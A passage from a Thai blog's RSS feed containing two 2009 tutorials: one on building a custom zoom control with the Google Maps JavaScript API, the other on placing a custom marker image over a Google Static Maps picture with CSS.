				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2009%2F07%2Fgoogle-maps-custom-control%2F&amp;source=tanomsak&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<div style="FLOAT: right; MARGIN-LEFT: 20px"><div class="zickrbutton"><script>zickr_url='http://www.tanomsak.com/index.php/2009/07/google-maps-custom-control/'</script><script language="javascript" src="http://api.zickr.com/button.js"></script></div></div>
<p>ถ้าใครเคยเข้าไปเวป <a title="ขายบ้าน บ้านมือสอง ขายคอนโด" href="http://www.ddproperty.com" target="_blank">ddproperty.com</a> จะเห็นว่าปุ่มซูมเข้าซูมออกจะไม่เหมือนแบบปกติของ Google Maps และมีปุ่มย่อขยายแผนที่เพิ่มขึ้นมาด้วย การทำแบบนี้เค้าเรียกว่า Custom Control ครับ</p>
<p style="TEXT-ALIGN: center"><img src="http://www.tanomsak.com/wp-content/uploads/2009/07/ddproperty_maps_crop.jpg" alt="ddproperty-maps-crop.jpg" width="488" height="304" /></p>
<p>คราวนี้เราจะพูดถึงเรื่องการสร้าง Control ของ Google Maps ให้เป็นแบบเฉพาะของเวปเรากันครับ</p>
<p><span id="more-295"></span></p>
<h3>ทำความรู้จักกับ Control ใน Google Maps</h3>
<p>ก่อนอื่นมาทำความรู้จักกับ Control ใน Google Maps API กันก่อน ในตัว Google Maps API มี Control มาตราฐานมาให้เราใช้อยู่หลายอย่างครับ</p>
<ul>
<li>GLargeMapControl &#8211; เป็น Control ที่มีครบทั้งซูมเข้าออก,เลื่อนแผนที่ซ้ายขวา และ Slider</li>
<li>GSmallMapControl &#8211; จะมีแค่ซูมเข้าออก,เลื่อนแผนที่ซ้ายขวา</li>
<li>GSmallZoomControl &#8211; มีแต่ ซูมเข้าออกเล็กๆ</li>
<li>GScaleControl &#8211; scale บอกขนาดแผนที่</li>
<li>GLargeMapControl3D &#8211; เหมือน GLargeMapControl แต่ว่าดูสวยกว่า <img src='http://www.tanomsak.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li>GSmallZoomControl3D &#8211; เหมือน GSmallZoomControl แต่ว่าดูสวยกว่า</li>
<li>GMapTypeControl &#8211; เอาไว้เลือกประเภทแผนที่ ว่าจะเป็นแผนที่ธรรมดา หรือภาพถ่ายดาวเทียม</li>
<li>GHierarchicalMapTypeControl &#8211; Control แบบที่มี Drop down ให้เลือกได้</li>
<li>GOverviewMapControl &#8211; แผนที่ขนาดเล็กที่ปกติอยู่ทางขวาล่าง</li>
<li>GNavLabelControl &#8211; Label แสดง &#8220;ที่อยู่&#8221; ณ ตำแหน่งปัจจุบัน</li>
</ul>
<p>ปกติเราเรียกใช้งาน Control พวกนี้โดยคำสั่งแบบนี้ครับ</p>
<p><code>map.addControl(new GLargeMapControl());</code></p>
<h3>มาสร้าง Control ของเรากันครับ</h3>
<p>ขอเริ่มจาก source code ละกันนะครับ</p>
<pre class="brush: jscript;">
// ก่อนอื่นสร้าง function myZoomControl ขึ้นมาก่อน
function myZoomControl() {
}
// ทำ &quot;subclass&quot; GControl โ้้ดยการกำหนดให้ prototype object เป็น Instance ของ GControl
myZoomControl.prototype = new GControl();

myZoomControl.prototype.initialize = function(map) {
  // เริ่มต้นก็สร้าง div ว่างๆมาหนึ่งอัน เอาไ้ว้เป็น container
  var container = document.createElement(&quot;div&quot;);

  container.style.width = &quot;37px&quot;;
  container.style.height = '100px';

  // สร้าง div อีกอันเอาไว้เป็นปุ่ม ZoomIn
  var zoomInDiv = document.createElement(&quot;div&quot;);
  // กำหนด style ให้กับปุ่ม -&gt; ไป call function ด้านล่าง
  this.setButtonStyle_(zoomInDiv,&quot;zoonin.png&quot;);
  // เพิ่ม div ของปุ่ม ZoomIn ไว้ใส่ container
  container.appendChild(zoomInDiv);

  // กำหนดหน้าที่ให้กับปุ่ม
  GEvent.addDomListener(zoomInDiv, &quot;click&quot;, function() {
    map.zoomIn();
  });

  // สร้าง div อีกอันเอาไว้เป็นปุ่ม ZoomOut
  var zoomOutDiv = document.createElement(&quot;div&quot;);
  // กำหนด style ให้กับปุ่ม -&gt; ไป call function ด้านล่าง
  this.setButtonStyle_(zoomOutDiv,&quot;zoomout.png&quot;);
  // เพิ่ม div ของปุ่ม ZoomIn ไว้ใส่ container
  container.appendChild(zoomOutDiv);

  // กำหนดหน้าที่ให้กับปุ่ม
  GEvent.addDomListener(zoomOutDiv, &quot;click&quot;, function() {
    map.zoomOut();
  });

  // นำ div container ใส่เข้าไปในแผนที่
  map.getContainer().appendChild(container);
  return container;
}

myZoomControl.prototype.getDefaultPosition = function() {
  return new GControlPosition(G_ANCHOR_TOP_LEFT, new GSize(7, 7));
}

myZoomControl.prototype.setButtonStyle_ = function(button,button_pic) {

    button.style.backgroundImage = &quot;url(/&quot;+button_pic+&quot;)&quot;;
    button.style.width = &quot;31px&quot;;
    button.style.height = &quot;31px&quot;;
    button.style.margin = &quot;0px 0px 3px 3px&quot;;
    //styleFloat  for IE
    if (navigator.appName.indexOf(&quot;Netscape&quot;) != -1) {
       button.style.cssFloat = &quot;left&quot;;
    }
    else {
       button.style.styleFloat = &quot;left&quot;;
    }
    button.style.cursor = &quot;pointer&quot;;
}

function load() {
    if (GBrowserIsCompatible()) {
       var map = new GMap2(document.getElementById(&quot;map&quot;));

       // เรียกใช้ Custom Control ที่สร้าง
       map.addControl(new myZoomControl());
       map.setCenter(new GLatLng(37.4419, -122.1419), 13);
    }
}
</pre>
<p><a href="http://www.tanomsak.com/tutorial-5.htm" target="_blank">ดูตัวอย่างกันครับว่าออกเป็นแบบไหน</a></p>
<p>การสร้าง Custom Control จริงแล้วไม่ยากเลยครับ ส่วนที่สำคัญๆมีดังนี้ครับ</p>
<p>บรรทัดที่ 1-5 กำหนด prototype ของ Custom Control ที่จะสร้าง ให้เป็น instance ของ GControl ขั้นตอนนี้้เป็นการทำ &#8220;subclass&#8221; จาก GControl แต่ว่า Javascript ไม่มีการ inherit Class เหมือนพวก OOP แต่มีการทำ prototype แทนครับ ไม่ต้องงงครับ  copy ไปเลย <img src='http://www.tanomsak.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>มี function ที่สำคัญ 2 อันคือ initialize บรรทัดที่ 7-41 กับ getDefaultPosition บรรทัด 43-45 ห้ามตกหล่นไม่งั้นไม่ work</p>
<p>โดย initialize ทำหน้าที่กำหนดหน้าตาของ Custom Control และ กำหนด Action เวลากดปุ่มต่าง มาดูกันทีละบรรทัดครับ</p>
<p>บรรทัด 9-11 เริ่มต้นด้วยการสร้าง div เปล่าๆขึ้นมาและกำหนดขนาดให้มัน div อันนี้จะเรียกว่า container ครับ โดยเราจะสร้างปุ่มไว้ข้างใน แล้วก็ append ทั้ง container เข้าไปใน Google maps ของเราตอนท้าย คอยดูนะครับ</p>
<p>บรรทัด 15-17 เริ่มสร้างปุ่ม ZoomIn โดยการสร้าง div อีกอันนึง แล้วก็ กำหนด style ให้มันโดยเรียก function setButtonStyle_<span> ถ้าตามไปดูข้างในก็จะเห็นว่าเป็นการกำหนด background ให้เป็นรูปปุ่ม และก็กำหนดขนาดนั้นเอง</span></p>
<p><span>บรรทัด 19 ใส่ div ZoomIn เข้าไปใน Container</span></p>
<p><span>บรรทัด 22-24 เป็นการตั้ง Listener ให้ซูมเข้าเวลามรการ &#8220;click&#8221; ที่ div ZoomIn ของเรา</span></p>
<p><span>จากนั้น บรรทัด 26-36 ก็ทำซ้ำสำหรับปุ่ม ZoomOut</span></p>
<p><span>บรรทัด 39 ก็ append container ที่เราใส่ปุ่ม ZoomIn/ZoomOut แล้วเข้าไปในแผนที่</span></p>
<p><span>ส่วน </span>getDefaultPosition ทำหน้าที่กำหนดตำแหน่งว่า Control ของเราจะอยู่ตรงไหนของแผนที่ครับ</p>
<p>สุดท้ายก็เรียกใช้ myZoomControl ก็เป็นอันเรียบร้อย</p>
<p>Update:</p>
<p>คุณ @<a href="http://twitter.com/iampz" target="_blank">iampz</a> แนะนำให้ใช้ id/class กำหนด style แทน ผมทดลองแล้วตามแล้ว<a href="http://www.tanomsak.com/tutorial-5-1.htm " target="_blank">ลองดูตัวอย่าง</a>นะครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2009/07/google-maps-custom-control/feed/</wfw:commentRss>
		<slash:comments>34</slash:comments>
		</item>
		<item>
		<title>การทำ Custom marker icon สำหรับ Google Static Maps</title>
		<link>http://www.tanomsak.com/index.php/2009/06/custom-marker-icon-google-static-maps/</link>
		<comments>http://www.tanomsak.com/index.php/2009/06/custom-marker-icon-google-static-maps/#comments</comments>
		<pubDate>Sun, 21 Jun 2009 08:27:31 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Google Maps]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=234</guid>
		<description><![CDATA[zickr_url='http://www.tanomsak.com/index.php/2009/06/custom-marker-icon-google-static-maps/' คิดว่าหลายๆคนคงจะรู้จัก Google Static Maps API กันบ้างนะครับ ตัว Static map จะเป็นรูปแผนที่ Google Maps แบบที่เป็นรูปภาพนิ่ง คือไม่สามารถลากเพื่อเปลี่ยนที่ และไม่สามารถว่าซูมเข้าออกได้ ประโยชน์ของมันก็คือโหลดเร็วเพราะว่าเป็นรูปภาพรูปเดียว เหมาะสำหรับการแสดงตำแหน่งแค่คร่าวๆ เพราะบางครั้งแผนที่ไม่ใช้ส่วนสำคัญในหน้าเวป จะได้ไม่ต้องเสียเวลาโหลดตัว API นานๆครับ Google Static Maps มีการสนับสนุนการแสดงหมุดด้วยครับ แต่ว่าหมุดมันจะเป็นชุดมาตราฐานซึ่งอาจจะไม่เข้ากับเวปอันแสนสวย(??) ของเราเท่าไหร่ จะใช้วิธีการเปลี่ยนรูปหมุดใน Google Maps ที่แนะนำไปแล้วก็ไม่ได้ เนื่องจากแผนที่เป็นรูปภาพไม่ได้สร้างจาก Javascript API และนี่เป็นหัวข้อของผมในวันนี้ครับ คือการ การทำ Custom marker icon สำหรับ Google Static Maps ผมพบวิธีนี้จากเวป Yelp.com ตอนที่เค้าเปลี่ยนมาใช้ static map ครับ 1. การใช้งาน Google Static [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="width: 100%; margin-bottom: 30px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2009%2F06%2Fcustom-marker-icon-google-static-maps%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2009%2F06%2Fcustom-marker-icon-google-static-maps%2F&amp;source=tanomsak&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<div style="FLOAT: right; MARGIN-LEFT: 20px"><div class="zickrbutton"><script>zickr_url='http://www.tanomsak.com/index.php/2009/06/custom-marker-icon-google-static-maps/'</script><script language="javascript" src="http://api.zickr.com/button.js"></script></div></div>
<p>คิดว่าหลายๆคนคงจะรู้จัก Google Static Maps API กันบ้างนะครับ ตัว Static map จะเป็นรูปแผนที่ Google Maps แบบที่เป็นรูปภาพนิ่ง คือไม่สามารถลากเพื่อเปลี่ยนที่ และไม่สามารถว่าซูมเข้าออกได้ ประโยชน์ของมันก็คือโหลดเร็วเพราะว่าเป็นรูปภาพรูปเดียว เหมาะสำหรับการแสดงตำแหน่งแค่คร่าวๆ เพราะบางครั้งแผนที่ไม่ใช้ส่วนสำคัญในหน้าเวป จะได้ไม่ต้องเสียเวลาโหลดตัว API นานๆครับ</p>
<p>Google Static Maps มีการสนับสนุนการแสดงหมุดด้วยครับ แต่ว่าหมุดมันจะเป็นชุดมาตราฐานซึ่งอาจจะไม่เข้ากับเวปอันแสนสวย(??) ของเราเท่าไหร่ จะใช้วิธีการ<a title="custom marker icon ใช้รูปภาพแทนหมุด ใน google maps api" href="http://www.tanomsak.com/index.php/2009/06/google-maps-customer-marker/">เปลี่ยนรูปหมุดใน Google Maps</a> ที่แนะนำไปแล้วก็ไม่ได้ เนื่องจากแผนที่เป็นรูปภาพไม่ได้สร้างจาก Javascript API</p>
<p>และนี่เป็นหัวข้อของผมในวันนี้ครับ คือการ การทำ Custom marker icon สำหรับ Google Static Maps ผมพบวิธีนี้จากเวป Yelp.com ตอนที่เค้าเปลี่ยนมาใช้ static map ครับ<span id="more-234"></span></p>
<h3>1. การใช้งาน Google Static Maps</h3>
<p>ทำได้ง่ายมากๆครับ คือใช้ html img tag สำหรับแสดงรูปภาพตรงๆเลย แ่ต่ว่า source ของรูปให้ระบุเป็น maps.google.com พร้อมด้วย parameter ตัวอย่างเป็นแบบนี้ครับ</p>
<p><code><a href="http://maps.google.com/staticmap?center=13.6225480441,100.5334854126&amp;zoom=14&amp;size=300x300&amp;maptype=roadmap&amp;markers=13.6225480441,100.5334854126&amp;key=YOUR_API_KEY">http://maps.google.com/staticmap?center=13.6225480441,100.5334854126&amp;zoom=14&amp;size=300x300&amp;maptype=roadmap&amp;markers=13.6225480441,100.5334854126&amp;key=YOUR_API_KEY</a></code></p>
<p>จาก code ข้างบนเป็นการขอรูปแผนที่จาก Google Static Maps โดยมี parameter ต่อไปนี้</p>
<ul>
<li>ให้มีจุดกึ่งกลางที่(Center) lattitude = 13.6225480441 และ longtitude = 100.5334854126</li>
<li>ระดับการซูม (Zoomlevel) = 14</li>
<li>ขนาดรูป (กว้างxยาว) = 300&#215;200 pixel</li>
<li>ประเภทแผนที่เป็นแบบถนน</li>
<li>ให้มีหมุดวางอยู่ตรงตำแหน่ง lattitude = 13.6225480441 และ longtitude = 100.5334854126</li>
<li>และสุดท้ายต้องใส่ Maps API Key ด้วยครับ (ดูวิธีการขอได้จาก <a href="http://www.tanomsak.com/index.php/2008/12/google-maps-tutorial-1/">ตอนก่อนหน้า</a> นะครับ)</li>
</ul>
<p>ใครสนใจความหมาย และ parameter ทั้งหมดที่มีดูได้จาก <a href="http://code.google.com/apis/maps/documentation/staticmaps">Google Static Maps API</a> เราจะได้รูปแบบนี้ออกมาครับ</p>
<p><img style="border: 1px solid #c0c0c0; display: inline; width: 300px; height: 320px;" src="http://maps.google.com/staticmap?center=13.6225480441,100.5334854126&amp;zoom=14&amp;size=300x300&amp;maptype=roadmap&amp;markers=13.6225480441,100.5334854126&amp;key=ABQIAAAAeNsNnRXUdrpgSw3qfvhz5hRHchrjOSPM-moa2HMmJZw-0fE6VhTsARfVd9x1Dg8TowZALqHIOcO20g" alt="" width="300" height="320" /></p>
<h3>2. การจะเปลี่ยนหมุดจากแบบมาตราฐานเป็นรูปภาพที่เราต้องการ</h3>
<p>ทำได้โดยการใช้เทคนิคเกี่ยวกับ CSS นิดหน่อยครับ หลักการก็คือ การแสดงรูปภาพสองรูปซ้อนกัน โดยเอารูปหมุดที่ต้องการวางทับบน static map โดยแสดง static map ให้ตรงกลางเป็นตัวแหน่งของสถานที่ ที่เราจะแสดงหมุด จากนั้นก็ให้ CSS กำหนดตำแหน่งรูปภาพหมุดให้อยู่กึ่งกลางครับ</p>
<p><img src="http://www.tanomsak.com/wp-content/uploads/2009/06/div.png" alt="div.png" width="416" height="211" /></p>
<p>วิธีการค่า left และ top เพื่อวางหมุดตรงกึ่งกลางแผนที่</p>
<p><img src="http://www.tanomsak.com/wp-content/uploads/2009/06/done.png" alt="done.png" width="381" height="251" /></p>
<p>html ที่ใช้เป็นแบบนี้ครับ อันนี้ไม่มีอะไรพิเศษ (เอา parameter เกี่ยวกับ markers ออกด้วย เวลาเรียก static map จะได้ไม่มีรูปหมุดซ้ำกับที่เรากำลังจะแสดง)</p>
<pre class="brush: xml;">
&lt;div id=&quot;map_div&quot;&gt;
&lt;img style=&quot;border: 1px solid #c0c0c0; display: inline; width: 300px; height: 320px;&quot; src=&quot;http://maps.google.com/staticmap?center=13.6225480441,100.5334854126&amp;amp;zoom=14&amp;amp;size=300x300&amp;amp;maptype=roadmap&amp;amp;key=ABQIAAAAeNsNnRXUdrpgSw3qfvhz5hRHchrjOSPM-moa2HMmJZw-0fE6VhTsARfVd9x1Dg8TowZALqHIOcO20g&quot; alt=&quot;&quot; width=&quot;300&quot; height=&quot;320&quot; /&gt;
&lt;img class=&quot;marker&quot; src=&quot;pin_blue.png&quot;/&gt;
&lt;/div&gt;
</pre>
<p>ส่วน CSS เป็นแบบนี้ครับ</p>
<pre class="brush: css;">
#map_div {
height:320px;
position:relative;
}
#map_div img.marker {
position:absolute;
height:37px;
width:25px;
left:142px;
top:125px;
}
</pre>
<p>property position ของ div ที่ใส่รูปทั้งสองต้องเป็น relative และ position ของรูปหมุดต้องเป็น absolute นะครับ</p>
<p>ใน IE6 จะมีปัญหากับ transparent png ทำให้รูปหมุดแสดงพื้นหลังเป็นแถบๆ เลือก<a href="http://www.google.co.th/search?q=ie6+transparent&amp;ie=utf-8&amp;oe=utf-8">วีธีแก้</a>ในตามชอบใจเลยครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2009/06/custom-marker-icon-google-static-maps/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
